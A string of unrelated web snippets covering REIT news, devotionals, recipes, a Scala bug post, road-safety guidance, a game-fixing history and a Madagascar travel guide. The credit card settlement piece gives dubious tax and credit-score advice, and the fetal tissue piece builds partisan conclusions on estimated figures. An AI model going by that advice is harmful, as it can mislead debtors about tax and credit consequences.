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Walls & Futures REIT plc to take advantage of gap in social housing (Video)
Walls and Futures is a Real Estate Investment Trust. They're focused on delivering long-term income and capital growth by investing in residential property across the UK. Managing Director Joe McTaggart tells Proactive: "It's about providing good quality housing. What [...]Read more
Walls & Futures becomes the first REIT to be admitted to ISDX
Walls & Futures REIT plc ("WAFR") today, became the first Real Estate Investment Trust (REIT) to be admitted on the ISDX growth market. The Company offers investors an opportunity to gain exposure to the residential property market without the complications of direct [...]Read more
Walls & Futures REIT plc (WAFR) First Day of Dealing Announcement
Walls & Futures REIT plc First Day of Dealing Announcement The Directors of Walls & Futures REIT plc ("Walls & Futures"), the residential property investment company, are pleased to announce that its application to the ISDX Growth Market for Admission of [...]Read more
Want some extra exposure to the housing market? Joe McTaggart introduces the Walls & Futures Real Estate Investment Trust
If you want to get some extra exposure to the housing market, or even some initial exposure, you don't necessarily have to buy a flat or house. You could invest in a small number of residential property funds or platforms. And a new trust is being launched in this space [...]Read more
Walls & Futures REIT to raise £2m to build its residential portfolio before IPO on ISDX
Walls & Futures REIT plc is raising £2m prior to admission to the ISDX growth market. The aim of the property investment company is to provide shareholders with a sustainable income stream and long-term capital growth by investing in UK residential property. The target is to [...]Read more
Is residential property the Cinderella of the investment world?
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Love that has been looking for us
This was a line from a song that we sang in worship the other night. God's loves us so much that God is looking for us. Think about the world that we live in and how many people, maybe even ourselves, are tangled up in this search for love. And the love of God is looking for us.
We have just had some really amazing female preadolescents as guests this week. They were all wiggly and giggly and developed little "crushes" on the young adult male staff members (who found it very embarrassing). They put enormous effort into trying to draw attention to themselves, when there was clearly no point. And I can see it in some of the young adults I deal with, desperate to have someone to cling to, only to be crushed with rejection or sometimes worse. And I have to accept my own shortcomings here; all too often it is easy to jump to conclusions from a gesture that was merely kind, not necessarily loving.
How can I as someone who gets to spend a lot of time with young people help them realize the value that God places upon them? And they don't need to look for that love; they just need to stretch out their hand. And for myself and others, how can we become more aware that our lives are effected/affected by the love of God, which searches for us relentlessly.
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Some of you probably cannot free your mind from credit card debt. The fact that having credit card is such common today, it cannot be denied that debt problem significantly increasing. To help you out, it is necessary to know how to negotiate credit card debt settlement yourself. Settling credit card debt allows you to pay less than what you owed. In a chance you want to process a settlement, there are some steps to do.
Steps of How to Negotiate Credit Card Debt Settlement Yourself
Before going directly to the steps of how to negotiate credit card debt settlement yourself, it is important to note that the negotiation may bring some consequences. Some potential pitfalls may occur due to the settlement process.
- Ensure the debt
Before starting the negotiation, it is essential to make sure that the debt belongs to you. To ensure, you can request verification letter or debt verification. Verbal or mailing request is allowed. Another important matter is ensuring that the debt is not past or also known as zombie debt. On your verification letter, you can confirm that the debt is not a zombie debt.
- Reduce the balance
The next step to negotiate credit card debt settlement is by reducing your balance. Whenever you have debt, the debt collector paid money to buy your debt from the company you owe. If you negotiate, the debt collectors will commonly take less than your debt. In this step of how to negotiate credit card debt settlement yourself, you need to pay less than 30 percent of what you owe. Or else, you can negotiate to certain amount that both of you agree.
- Refuse settlement repot on credit report
It is important to make sure your credit agreement is not reported as settled. You need to avoid this if possible. Otherwise, ensure the creditor to report your credit as paid as agreed. If possible, you can also ask them to erase anything associated with your debt, including the tradelines. As it can stay for 7 years before dropping off, avoiding some negative report is an advantage for your future.
- Pay attention to tax
You need to know that you have to pay the tax for excused debt. As it is considered as income, tax is applied. To avoid this, you need to shave your debt. Make sure it does not exceed $600, or else it will be reported.
- Write your agreement
It is always essential to write any agreement you make, including when you are dealing with credit card debt settlement. The written agreement can be your proof in case the creditor does not honor what both of you already agreed upon. The time you want to make correction to the credit report, you also need this agreement.
There is a note to take into account. Due to the settlement, the credit score may rise. If you pay the debt, the credit score may jump higher. Follow the steps of how to negotiate credit card debt settlement yourself and stay aware of your creditor's response.


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The Marketing of Aborted Baby Parts
The Money Trail – Analysis
The fundamental question is whether site fees and retrieval reimbursements are being used as proxy payments to circumvent the state and federal laws which make it illegal to buy or sell human body parts. As we examine that issue, it is crucial to remember that for any transfer of aborted baby parts to be legal they must be donated and not sold. By law, the only financial remuneration that is legally allowed is recovery of the actual and reasonable costs associated with the retrieval process.
Our figures show that when AGF's monthly retrieval costs ($6,656.66) are subtracted from the retrieval income shown in the section above, in February of 1996 AGF billed researchers between $12,093.34 and $18,173.34 more for parts than it paid to acquire them.
In short, AGF appears to have made between $12,000 and $18,000 in baby parts profit from this one abortion clinic in this one month. And remember, that profit amount is based on costs to AGF that we purposely overestimated. An audit based on AGF's actual expenses would inevitably reveal higher profits than those reflected here.
NOTE: When analyzing the financial data, one problem we encountered was that our site fee documentation was for 1997, while the daily logs were from 1996. However, we felt comfortable assuming that the monthly site fees didn't change much from one year to the next.
The Money Trail – Miscellaneous
The tissue logs reveal that one baby is often chopped up and sold to many buyers. For example, babies taken from donors 113968 and 114189 were both killed late in their second-trimester and cut into nine pieces. By applying AGF's price list, we see that each baby was sold for between $810 and $1,170 depending on whether their parts were shipped fresh or frozen.
Another interesting financial revelation is seen when the tissue logs are analyzed on a "per-day" basis. During the time these logs cover, the heaviest traffic day was February 22, 1996. On that day, AGF sold 39 baby parts. According to their price list, AGF would have invoiced the buyers between $3,510 and $5,070 for these parts, again depending on whether they were shipped fresh or frozen.
Even compared to the $6,656.66 amount that we grossly overestimated to be AGF's monthly operating expenses, AGF recovered between 53% and 76% of their entire month's overhead from sales generated on this one day. If AGF's actual monthly expenses were used instead of our exaggerated estimation, it is possible that AGF recovered their entire month's overhead on this day.


text: Deceased Detroit underworld figure and notorious mob front James (Jimmy Eyes) Tamer was at the center of the largest pro-hockey gambling scandal in North American sports history. Tamer, who died of natural causes in 2003 at the ripe old age of 91, was the Detroit mafia's point man in Las Vegas in the 1970s. His fixing of Boston Bruins games in the 1947-1948 season shocked the NHL and ended with lifetime bans from the league for star players Don (Gabby) Gallinger and William (Billy the Kid) Taylor – seen above in a 1947 promotional photo. Gallinger was a high-scoring center that led the Bruins into the Stanley Cup Finals as a rookie in 1943 (he finished third in the league's Rookie of the Year vote) and then again in 1946 in a season in which he was the franchise's point king. He anchored the Bruins' so-called "Sprout Line" of the WWII era along with Bill Shill and Armand (Bep) Guidolin. Like Gallinger, Taylor was also a center. He was known as a master of the set-up and his seven assists in a single game in the 1947 season was an NHL record until it was broken by Wayne Gretzky in the 1980s. Taylor started his career with the Toronto Maple Leafs, winning a Stanley Cup with the organization in 1942. Traded to the Detroit Red Wings in 1946, he not only provided his new employers with 46 assists in the forthcoming campaign but became friendly with "Jimmy Eyes" Tamer, a local Lebanese bookie and convicted bank robber connected to the area's Italian mob family, a fact that proved bothersome to Wings' management. According to one Michigan State Police document from 1955, Tamer was groomed in the Motown rackets during Prohibition by eventual mafia leader Peter (Horseface Pete) Licavoli. As Licavoli began spending more and more time in Arizona in the late 1940s and 1950s, Tamer was moved into a crew belonging to Detroit mob capo Pietro (Machine Gun Pete) Corrado, the brother-in-law of the crime family's don, Giuseppe (Joe Uno) Zerilli. Tamer was close friends with Zerilli's nephew and eventual-successor Giacomo (Black Jack) Tocco and Corrado's sons, Dominic (aka "Fats") and Anthony (aka "Tony the Bull"), a pair of future mafia captains in Tocco's regime. Per state police sources of the day, Taylor's stay in the Motor City was brief because the Red Wings worried about his unsavory social companions and the belief that he was spending too much time with those in the gambling world. In the summer of 1947, the Red Wings shipped him off to Boston, where he met and became teammates with Gallinger. The pair lived in the same apartment complex in Beantown and were post-game drinking buddies. After a couple months of knowing each other, Taylor convinced Gallinger to begin fixing games with him for Tamer back in Detroit. Essentially, Tamer paid Taylor and Gallinger to dump, lose games on purpose. Throughout late 1947 and early 1948, they fixed eight games, betting as much as $1,000 per thrown contest. By January 1948, police informants in both Detroit and Boston were talking of a fix involving Tamer and two Bruins' players. Bruins' officials sensed something suspicious in Gallinger and Taylor's poor performance. Taylor was quickly traded to the New York Rangers. The next month, Tamer was caught on a Detroit Police Department-installed bug placed on his home phone talking to Gallinger and Taylor in separate conversations the same late afternoon regarding a game that was to be fixed that evening between Boston and the Chicago Blackhawks. "How are things going out there?" Tamer is heard asking Gallinger on the other line from a Windy City hotel room. "Don't worry about anything tonight….I don't intend to do so good, so put down $500 bucks for me," Gallinger told him. The Detroit Police detectives investigating the fix brought then-NHL Commissioner Clarence Campbell the transcript from the Tamer wiretap in late February. On March 9, Campbell suspended Gallinger and Taylor indefinitely, pending a full inquiry conducted by the league. That September, Campbell banned them both from the NHL for life. The ban would go on to be lifted more than 20 years later in 1970. Tamer was never arrested for his role overseeing the conspiracy. However, he was convicted of hidden ownership in Las Vegas' Aladdin Hotel & Casino in August 1979 and penciled into the Nevada Gaming Board's Black Book, getting himself barred from all of the state's casinos in the years that ensued. FBI agents watched on at a number of dinner meetings in Detroit between Tamer and mob capo Vito (Billy Jack) Giacalone (the Zerilli-Tocco crime family's lieutenant in charge of looking after activities in Vegas) where Giacalone, a man suspected of ordering or personally committing dozens of gangland slayings, gave Tamer direct orders as to how to run the Aladdin. Tamer, who couldn't get licensed by the gaming board because of his criminal background, was officially listed as the casino's Entertainment Director. Gallinger died in 2000. Taylor passed away in 1990. Besides the 1948 NHL game-fixing scandal, members of the Detroit underworld linked to the upper-echelon of the city's mafia syndicate have been tied to alleged pro game-fixing in the NFL (1950s-early-60s Detroit Lions) and the NBA (late-1980s Detroit Pistons) too. "Jimmy Eyes" Tamer


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Man with four oustanding warrants wanted by police
Anchorage Police are again turning to the public for help tracking down a man with four outstanding warrants connected to separate charges of domestic violence, drugs and burglary.
Anchorage Police say in February, authorities served 47-year-old Robert Allen Carleson with a domestic violence restraining order. But, four hours later, Carleson allegedly violated that order by asking a mutual friend to contact the petitioner, asking them to put money on a debit card for Carleson to spend. Police say officers were unable to locate Carleson and obtained a warrant for his arrest.
Police say Carleson has three other outstanding arrest warrants; the first a felony warrant for a parole violation. Police say the original charges include counts of misconduct involving a controlled substance and burglary. They say another felony warrant, for another probation violation, involved yet another burglary charge. And, they say Carleson also has a misdemeanor warrant for violating another domestic violence restraining order.
Anyone with information about Carleson's whereabouts is urged to call the Muni's 311 line-- a line that's used for non-emergencies.
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So close to being exactly like the take away version! While most of this is cooked in a wok, Thermomix is perfect for sautéing the garlic to perfection rather than in burning in too hot oil in the wok and of course, it also cooks the perfect white rice every time! Don't be fooled into thinking this is healthy, it has a lot of salt and a lot of oil, however, you do know what goes into it and if you do have willpower, try to keep your portion to less than a cup! Of course, it's good to have naughty food some of the time! The key to perfect fried rice is to avoid adding wet ingredients, ie, no sauces, defrost your frozen peas and use pre cooked rice. Also, you want to have all your ingredients prepped and ready to go and a hot wok! It seems like a lot of work but believe me, once you have everything prepped it takes no time and is well worth the effort . Bek x
- Long grain white rice (approx 1.5 cups)
- 2 large cloves garlic
- 1 onion sliced into thin wedges
- 1 large carrot grated
- ½ cup frozen peas defrosted
- ¾ cup bean shoots
- ½ cup sliced green onion tops
- 100g raw prawns
- 2 eggs beaten
- 2tsp garlic salt
- 2tsp white pepper
- ½ cup vegetable oil
Add raw rice to TMX basket with half a jug of water and cook for 19 minutes at Varoma temp Speed 4. (Rice must be cooked well in advance, preferably the day before or first thing in the morning and left to dry. Spread on an oven tray, covered with a clean tea towel on the bench.
Put garlic cloves into clean TMX bowl and chop 7 seconds speed 6. Scrape down sides of bowl and repeat until finely chopped. Add ½ tsp vegetable oil and sauté 6 minutes 100 degrees speed 1. Scrape out and set aside in a small bowl.
Add 2 tbsp of the oil to a hot wok and swirl to coat wok. Pour in beaten eggs swirling to form an omelette. Cook for approximately 1-2 minutes. Flip over and cook for approx 1 minute then slide onto a plate and dice up into small chunks.
Add another tbsp oil to wok and cook prawns for about 1-2 minutes either side until pink. Take care not to overcook.
Remove and set aside.
Add remainder of oil to wok. Moving swiftly, add sliced onion, grated carrot, frozen peas moving ingredients around wok in oil constantly. After a minute or two add your pre-cooked rice, breaking it up and tossing it through vegies and oil ensuring all the rice is coated with the oil. Add your pre-cooked garlic, pepper and garlic salt stirring continuously. Add your prawns and egg and toss through. Check for seasoning and if needed, add more garlic salt and pepper to taste. Take off the heat and toss through bean shoots. Garnish with sliced green onion tops. Enjoy!


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McKay has mastered aspects of the cabaret/supper-club room sensibility, then uses it as a springboard for sly devastating humor both in her programming and banter. Her solid chops, endearing kooky mannerisms, impeccable delivery, and sympatico band added up to a package of quirky sophistication. Song selection from a broad swath of popular culture is putty in her hands. My tough decision was whether to sketch her playing piano or ukulele, as she split her time about equally between the two; since she started on keys, I focused on her band when she was ukeing it.


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Interesting Observation with Scala's Numeric Trait when combined with Context Bounds.
I saw something interesting this morning when I tried to create a container for a user-defined class that mixed in Scala's Numeric trait. Consider a class called MyNum (see MyNum.scala) that mixes-in Numeric. I wanted to create a container that could hold any type that mixed in the Numeric trait, including MyNum. My first intuition was to use a context bound on the type parameter. However, this seemed to only work for built-in Numeric types.
In order to fix the problem, I tried changing the context bound to a view bound. Viola, it worked!
In the following code, the commented out line will not compile. MyNumContainerB is able to hold both built-in and user-derived Numeric types.
error: ambiguous implicit values: both method stringCanBuildFrom in object Predef of type => scala.collection.generic.CanBuildFrom[String,Char,String] and method conforms in object Predef of type [A]=> <:<[A,A] match expected type
val d = new MyNumContainerA(c)
I'm still trying to figure out why a context bound doesn't work. Perhaps there is a lack of implicit evidence somewhere? Anyway, some more investigation is needed. If anyone knows why this happening then please let me know!


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EDUCORP Visualisers are used in education, training, conferences, video conferencing and product presentations. Here are a few applications of a visualiser
- Show a science experiment demonstration
- Annotate over images and text, and enlarge small text
- Have pupils demonstrate methods used in their work
- Display paintings, or photographs are too delicate to pass around the classroom
- Praise work immediately by presenting it on the Visualiser and annotating their achievements
Public Sector
- The Visualiser can be used in telemedicine, or in training to show an x-ray to large or small groups
- The police, fire department and network rail can all perform compelling workshops by showing equipment and props
- Do away with time handing out media and prepping, which allows you to perform more workshops, training sessions and support programs
- Reduce preparation times for meeting by not having to photocopy.
- Clearly demonstrate your products smallest details to all of your co-workers or employees all at the same time using the powerful zoom feature.
- Demonstrate your products killer applications and benefits on a large display at exhibits and shows.
- Keep your latest high-tech gadget or precious jewellery safe behind the counter while displaying the aesthetic value or functionality
The possibilities are endless. It is often said that people learn better interactively. Audiences prefer to be involved rather than be just watching endless static presentations. The ability to see, understand and question are key attributes in the learning process


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"Go ye therefore, and teach all nations, baptizing them in the name of the Father, and of the Son, and of the Holy Ghost: Teaching them to observe all things whatsoever I have commanded you…" (Mt. 28:19, 20).
Life is meant to be lived one day at a time. When we move too quickly, we tend to miss out on some of the most significant events which could have contributed to a better life for us. God did not design us to live our lives as one quick sprint to the finish line. But He did create us to live our lives as a marathon and to maximize our God-ordained potential to the fullest. This is how we bring greater glory to God…especially if we are living our lives all in the name of God and for the advancement of His Kingdom. We have been created for a purpose, and the only way to find out what this purpose is, we must consult the One Who created us. Who else would know any better than He?
Kingdom living requires an understanding of our purpose for being. Then, it calls for an actual living out of that purpose once it has been discovered. Everyone has been created with gifts that contribute to the overall welfare of everyone else within the Kingdom of God. The gifts we possess were not designed to hoarded to our ourselves or only shared with a few, but they were given to advance the intents and purposes of the Kingdom of God here on earth in order to restore God's creation to its original state of order and harmony among those living within His creation. Most importantly, they were given to help lead others to the Cross to bring restoration of a right relationship with their Creator so that they, too, may utilize their God-ordained gifts to do the same for someone else.
This is what Kingdom Living is all about. This is the reason why we do what we do. We love everyone who elects to partner with us and share the words presented on our site. We also love does who do not. Our desire is to continue to advance God's Kingdom…one life at a time. Sometimes all it takes is one person to seek God wholeheartedly in order to ignite a spiritual revival in the world…If not us, then our prayer is that we can play a significant role in fanning the flame.
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Spring has rolled into summer causing college exams to fade away and law books to be placed at the back of a dusty cupboard not to be opened until September arrives bringing with it the challenge of finals. Oh joy! Most people choose to enjoy the summer, relax, recuperate and maybe do a little bit of work. Unfortunately I happen to be a lady with her mind on the money. Delightfully capitalistic I am! To feed my desire for cash, I'm currently working three jobs. By day I'm working in a solicitor's office, by night I'm a waitress and by weekend I'm working in Past Times. It's a hectic lifestyle for someone as small as I!
Naturally I have absolutely no free time so when I have to bake I need something quick that will also offer a high level of nom nom. In my world, the quality of a baked good is based on the scale of nom nom. The more times you nom when eating it, the better it is :) Mars Bar squares have proved themselves worthy of my love, admiration and nomming. Fabulously delicious and fat-filled. They are rocking my world at the moment. I baked them twice in one week for Sarah's present and to bring to our friend Rachel's bbq. They're quick, easy and delectable. They have the Bríd seal of approval and are befitting of a baker with no time on her little hands.
Here's the recipe:
6 x 65g Mars Bars
200g Butter
200g Rice Crispies
250g Milk Chocolate
- Cut the butter and Mars Bars into small chunks and place in a saucepan. Put over a low heat and stir with a balloon whisk until melted.
- Add the Mars Bars/butter mixture to the Rice Crispies in a large bowl. Stir well until all ingredients are combined.
- Put into a lined tin 30cmx20cmx5cm and press down with the palm of your hand until firm.
- Melt the chocolate either in a microwave on low for one to two minutes, or over a saucepan of simmering water.
- Pour over the biscuits, spread evenly with a palate knife and leave to set.
- When set turn out on a board and cut into squares.
- Et c'est fini!
Most importantly, the answer to the question is ALWAYS to nom!
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Lawson believes that we need to drive discovery while also being strategic in our health research investments, and translate discoveries into practice to create value both for our patients and for our economy.
The institute partners with both provincial and national advocacy organizations.
The Council of Academic Hospitals of Ontario (CAHO) represents Ontario's 24 research hospitals that play a unique and vital role in the province's health care system. Collectively, the organization provides advanced patient care services, train the next generation of health care professionals, and conduct leading-edge research to discover tomorrow's care today. As connectors in the system, CAHO creates capacity and generate a healthier, wealthier, smarter Ontario.
CAHO advocates on behalf of its members and all of Ontario to achieve strategic objectives and provide for best possible care for patients. Find more about how investment in health research is making Ontario Healthier, Wealthier and Smarter.
- Healthier, Wealthier, Smarter: A Health Research Agenda for Patients, People and Prosperity
- Ontario Health Research and Innovation Council
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WAXHAW, N.C. - A field of sunflowers is causing quite a frenzy in the Waxhaw area.
It has slowed traffic along part of Providence Road, at the Waxhaw and Weddington border, as droves of people are pulling over and crossing the road to take pictures in the field.
[Family Focus: Teachers working to bring gardens to schools]
Teresha Berry lives next door to the field. She's witnessed the sunflower craze take off over the past few days.
"Over the last week I just started to see all the sunflowers pop up, but in the last two days it's gotten really, really vast. The color's bright, it's beautiful, it's radiant and now I see a lot of the folks are appreciating it a lot," she told Channel 9. "It's been traffic, tons of people, going out in the fields and actually taking pictures."
"Wow, we never imagined people would come here for a photo shoot like this," said another neighbor stopping by. "Everybody's coming here and it sometimes can create a problem because people are parking, like I did."
"It's a risk 'cause the cars are parked on the side and there's no one really to direct, it is a concern," Berry said.
The sunflowers are on private property and there are "No Trespassing" signs posted. Still, we saw many people going into the field, taking pictures, and cutting the flowers.
Berry said while safety and traffic is a concern, she thinks the flowers are good for the community.
"It is a concern, if it gets worse I think it's going to pose a big problem but you got to appreciate what nature's doing here so I'm okay with it," she said. "It's gorgeous. It's peaceful. I think it's causing people to slow down a bit to kind of appreciate what their seeing."
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Channel 9's Elsa Gillis reached out to the owner of the sunflower field.
A representative of the owner said he decided to plant the sunflowers because they are pretty. He had no idea they would draw this much attention.
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Young Drivers at Work
Young Drivers (aged 17-25 years) are disproportionately represented in road accidents. Scottish figures reveal that they are involved in around 25% of incidents on our roads. The Scottish Government document Road Safety Framework to 2020 has highlighted young drivers as a priority group.
As a commitment to this priority a National Debate on Young Drivers was conducted and the report published in December 2010. The report has made a number of recommendations which are currently under consideration. One recommendation is relevant to young drivers at work, as follows.
"Recommendation 13 (Action): Work with employers to improve the safety of young drivers at work. In particular, we recommend that the Scottish Government:
- raises awareness amongst employers regarding their role in young driver safety and provide guidance on how they can best perform this role, drawing on RoSPA's Young Driver at Work project
- raises awareness of the safety, environmental and financial benefits of eco-driving, and use of data recorders in vehicles used to drive for work
- encourages employers to recognise additional driver training qualifications
- ensures all tenderers for Scottish Government contracts have a Managing Occupational Road Risk (MORR) policy in place, with a focus on young drivers - the use of MORR policies is a legal requirement so this should not place a high burden on industry - a further recommendation is to measure the quality of such policies in tender evaluation methods so as to sharpen the industry's approach, and
- holds discussions with the Health and Safety Executive to discuss possible approaches including developing existing HSE Guidance Notes for employers, giving greater emphasis to young driver issues; encouraging risk assessments for young drivers; and application of RIDDOR to young driver collisions."
RoSPA's Young Driver at Work project was cited as an example of good practice within the GB road safety strategic framework.
RoSPA Scotland along with the ScORSA working group are working to develop a strategy to address some of the issues outlined within Recommendation 13.
Click here for RoSPA Advice and Information for Young drivers.
Click on the icons below to publications in relation to young driver safety.
Black Box Technology Final Report
An Innovative Pilot project conducted by the Scottish Government in 2012 to monitor and improve the driving of young driver's at work using telematic devices. The project evaluated the practicalities and effectiveness of employers using telematics to monitor and improve the at-work driving of their young staff. The project was designed to explore the practical issues that employers face when seeking to use telematics, how they were or were not resolved, and how they were able to use the information the technology provides to improve their management of occupational road risk for young drivers at work.
Young Drivers at Work (Scotland) Black Box Pilot
Telematics and Young Drivers
Many employers are using Telematics to monitor the at-work driving of their staff. This technology can significantly reduce crash rates, levels of risky driving behaviours, whilst also impacting on fuel and accident costs. Current research provides little detail of the practical issues employers face in using it, or how to best use the data and feedback for staff to reduce risk and costs.
RoSPA have undertaken a study into the impact and effectiveness of Telematics within a company environment. The research project highlighted a number of operational issues relating to the introduction and use of this technology within the workplace. Our findings can be found within the Young Drivers at Work (Scotland) Black Box Pilot report.
As a result of these findings we have also produced the Using Telematics to Improve Driving for work Safety: A good Practice Guide which gives a step by step guide for existing and potential users of this equipment in the Management of Occupational Road Risk.
Using Telematics to Improve Driving for Work Safety: A Good Practice Guide
Paper on Young Drivers at Work in Scotland.
With funding from the Scottish Centre for Healthy Working Lives, RoSPA has undertaken a piece of work in Scotland which involved interviews with companies based in Scotland that employ young (17 to 25 years) "at work" drivers and focus groups with young drivers in the workplace setting. The findings will help inform future work in Scotland with companies that employ young drivers.
Risk Assessment Guidance for the Employment of Drivers under 25 years of age
Employment of drivers/riders under 25 years of age
|Potential Hazards
|Possible Control Measures
|Additional Action
New and novice drivers are over represented in road collisions. As road users they are considered a priority group being a greater risk on our roads than other drivers.
Increased risks are due to factors such as inexperience, age, over-confidence, poor hazard perception and attitude.
Young and novice male drivers are the highest risk group.
Young driver accident profile shows that they are more likely to be involved in an accident if they are:
These risks are multiplied with the increased risks all drivers face when driving for work, resulting in combined higher risk.
Driving for work is very different from the type of driving young and novice drivers will have experienced. When driving for work, they may be driving for longer periods and distances than they are used to, in unfamiliar vehicles (especially vans) and under scheduling and time constraints.
Within company policy and practice: Consider young driver requirements
As part of recruitment consider not simply how long they have held a licence but assess how much on-road driving experience has been undertaken.
Look for additional driving qualifications such as advanced driving.
Provide additional driver training such as driver development or advanced driving.
Ensure employees are familiar with company policy.
Actively engage with young drivers to hear their views on safety issues so that the organisation can learn from them.
Ensure employees feel empowered to question policy as it applies to them, or to raise concerns, without fear of repercussion.
Provide an opportunity for the employee to drive different types of vehicles under supervision.
"Graduate" young drivers into the company as a driver by systematically lifting restrictions.
Conduct specific training/ workshops for peer to peer learning such as RoSPA Young Driver @ Work toolkit.
Monitor young drivers driving records, including violations, accidents and near misses.
Investigate the feasibility and benefits of using telematics (black box) technology.
Ensure managers/ supervisors are aware of the increased risks involved with novice drivers.
Ensure managers/ supervisors are aware that young and new employees may be unwilling to raise concerns, which could keep potential problems hidden.
Ensure managers and supervisors are aware of their responsibilities towards drivers


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The Morrow Academic Center offers supplemental instruction (SI), tutoring, athletics supplemental instruction (ASI), and an interdisciplinary writing center. Not sure which services to seek? No problem! Students can complete an online self-referral. The MAC will match each student with the MAC service that best accommodates his or needs and learning styles.
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Some years ago I was wondering if I was doing the right thing by writing Christian fiction. I ran into so may people who said, "I don't read fiction," with their noses in the air. The following is the answer I got:
This is important: When Jesus was alive, he told stories out of his own mouth that revealed spiritual truths in a way that his own spiritually alive family could understand. We are made of flesh and blood, so we understand spiritual truth through eyes of flesh and blood, demonstrated with materialistic stories or analogies.
Now that Jesus is no longer here in that one pure body of flesh, but lives through the flesh of his family, he reveals spiritual truth through what we call Christian novels.
We should never be too proud to read and learn – being careful to discern the spirits. Some "Christian writing" is Pharisaical…
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Born Birnbaum, Prussia
Died Berlin, Germany
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Find out more about this artist
Born in Birnbaum, in the then Prussian province of Posen, in 1861, Lesser Ury was initially apprenticed to a merchant before leaving to study painting, first in Düsseldorf and then in Brussels, Paris, Stuttgart and Munich; in Paris he developed a fascination with the modern metropolis and nocturnal urban life. He settled in Berlin in 1887, holding his first exhibition there in 1889. Despite a hostile reception, Ury was championed by the artist Adolph von Menzel and was subsequently awarded the Michael Beer prize by the Berlin Academy, which enabled him to visit Italy. In 1893 he joined the Munich Secession (a group of progressive artists), but returned to Berlin in 1901 and exhibited with the Berlin Secession in 1915 and 1922, when, during a display of 150 of his paintings, Uri was honoured as 'the artistic glorifier of the capital' by the mayor of Berlin.
Date 1921
Object type painting
Medium oil on canvas
Materials and techniques oil (medium) canvas (support)
Unframed 63.2 x 48.1 cm
Framed 81.3 x 66.3 cm
Signed and dated (lower left): 'L. Ury 1921'
Acquisition Bequest by Stephanie Ellen Kohn in memory of her parents Franz and Margarethe Kohn (nee Schotlander) and her brother Ludwig who perished in the Holocaust
Accession number 1990-7
Display status not on display
Set in the Charlottenburg district, this is one of Ury's many Impressionistic Berlin street scenes, which are typically set either at night or in the rain. Framed by distinctive classical architecture and accentuated by vivid splashes of colour, the angular shapes of two fashionably dressed young women contrast strongly with the muted background and the horse-drawn carriages which evoke an earlier era. Our focus is cleverly drawn to the two women by the artist's sparing use of red highlights within a mainly sombre palette – in the dress of one and the dash of lipstick of the other. Lesser Ury died in Berlin in 1931. Shortly afterwards a major memorial exhibition was held at the National Gallery and he is now regarded by critics as perhaps the first German artist to portray life in the modern city. As well as urban landscapes, he also explored Jewish subject matter in his art, although these works were less well received critically both during his lifetime and posthumously. This is one of four works by the artist in the Ben Uri Collection.
1968 Max Libermann, Isidor Kaufmann, Lesser Ury, E.M Lilien, Hermann Struck, Jacob Steinhardt
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Nature Yellow Working Bee Sunflower Pollen Bee
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|Cinzia Monreale (1957 - )
a.k.a. Sarah Keller
|Beyond the Darkness (Buio Omega; Blue Holocaust; Buried Alive; The Final Darkness) (1979) [Anna Volkl/Elena Volkl]: Playing a dual role as twin sisters, "Anna" reportedly dies of a terminal illness (actually caused by a voodoo curse placed on her by Franca Stoppi) in the hospital. Her body is shown throughout the movie after Kieran Canter digs her up, takes her home and performs (very graphic) taxidermy on her. (The other sister, "Elena" survives the movie.) (I haven't seen this movie myself.) (See also Erika Blanc in the 1966 original The Third Eye.) (Nudity alert: Full frontal during taxidermy sequence) (Thanks to Johan)
The Beyond (E tu vivrai nel terrore - L'aldida; Seven Doors of Death) (1981) [Emily]: Bitten on the throat by her seeing-eye dog, which then tears her ear off as well.


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The European Commission has launched an investigation into the planned acquisition of Cemex West by Swiss cement giant Holcim. The Commission is concerned that the deal may reduce competition in Germany and Belgium, where Cemex West is a competitor to Holcim. The Commission has until 10 March to make a decision.
The planned transaction involved Holcim acquiring Cemex group's activities in cement, ready-mix concrete, aggregates and cementitious materials in parts of Germany, along with a number of small plants located in France and the Netherlands.
The Commission decided to launch the investigation after its initial market investigation concluded that the deal could lessen competition in the affected areas. The Commission is concerned that cement producers will be able to coordinate their behaviour.
The Commission seems to have developed a penchant for cement industry investigations. Only four days ago the Commission authorised anti-trust regulators to investigate the planned acquisition of Holcim's Spanish operations by Cemex.


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The Highlands | The North | The East | The South | The West
Entertainment in Antananarivo
- Snacks and coffee
The Cookie shop
14 Rue Rainizanabololona Antanimena (not far from the US Cultural Center & Cortez travel)
Tel: + 261 (0) 3207 142 99
e-mail: email@example.com
This place is certainly one of rarest hangouts in Tana to enjoy a cup of coffee with fine bakery in comfortable armchairs. Sweet lovers will just love it. For the sudden hunger try the Cookie sandwich (a big vanilla ice cream scoop squeezed between two cookies), a piece of tiramisu or of cheesecake or a crumble. Also an excellent tea is served.
Le Manson
chez Marco
Phone: + (261) 032 02 05 032
Lovely and cute little bar with excellent snacks located next to Sakamanga Hotel in the Isoraka district.
thé la Potinière
Avenue de l'Indépendance
Tel : +261 20 22 233 54
This is the biggest coffee shop in the city, near the Hotel Glacier and the Air Madagascar office. It offers a fine bakery and sandwiches, who will help you throughout the day.
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- Live music and cultural events
On week-end nights, some city restaurants offer shows with
blues and
jazz live music played by local musicians. The pubs located at the
Radama and Glacier hotels (look for the addresses under the
accommodation section) usually offer live music, as well as the
restaurant La Boussole (s. under the restaurants´ section).
Following centres also offer a varied cultural program including live music shows. It is worthy to check their websites!
Alliance Francaise
Tel: + 261 20 22 211 07
e-mail: firstname.lastname@example.com
Website: www.alliancefr.mg
Centre Cultural Albert Camus
Ambassade de France à Madagascar
14 Avenue de l'Indépendance
B P 488 Antananarivo
Tel: + 261 20 22 213 75 / 22 236 47
e-mail: firstname.lastname@example.com
Web: www.ccac.mg
Goethe Institut
Im. Ifanomezantsoa
FJKM Analakely
101 Antananarivo
Tel: + 261 2022 21442
Fax: + 261 2022 27207
e-mail: firstname.lastname@example.com
Website: www.goethe.de
For other cultural events: do not forget to check the local newspapers!
Nightclubs and pubs
Antananarivo offers a couple of decent clubs which invite
to have a glimpse into Malagasy night life.
BUT: Prostitution is a big issue and it comes in all types and ages.
Watch yourselves from lonegoing women (even from those wearing a school attire), since they are likely to be in service and the AIDS danger should not been taken lightly. Watch for clothes too. In most institutions, no rotten jeans are admitted.
When returning to your hotel, never walk in Tana streets at night. Take a taxi.
Espace Dera
Route d'Ankatso
Chic dancing club with a room with low music where chatting is also possible. Many young young businessmen and no many prostitutes hanging around.
Buddha Club
Rue Rabehevitra, next to Tana Hotel
Brand new club opened in 2009, it has already become an important meeting place for tourist, ex-pats and locals. Nice and big dancing floor and friendly atmosphere.
Phone: + (261) 20 22 254 59
This is a popular pub in Isoraka where tourists and locals can listen to rock music. At weekends it is crowded, especially when there are live concerts.
Le Six
Rue Ratsimilaho 13
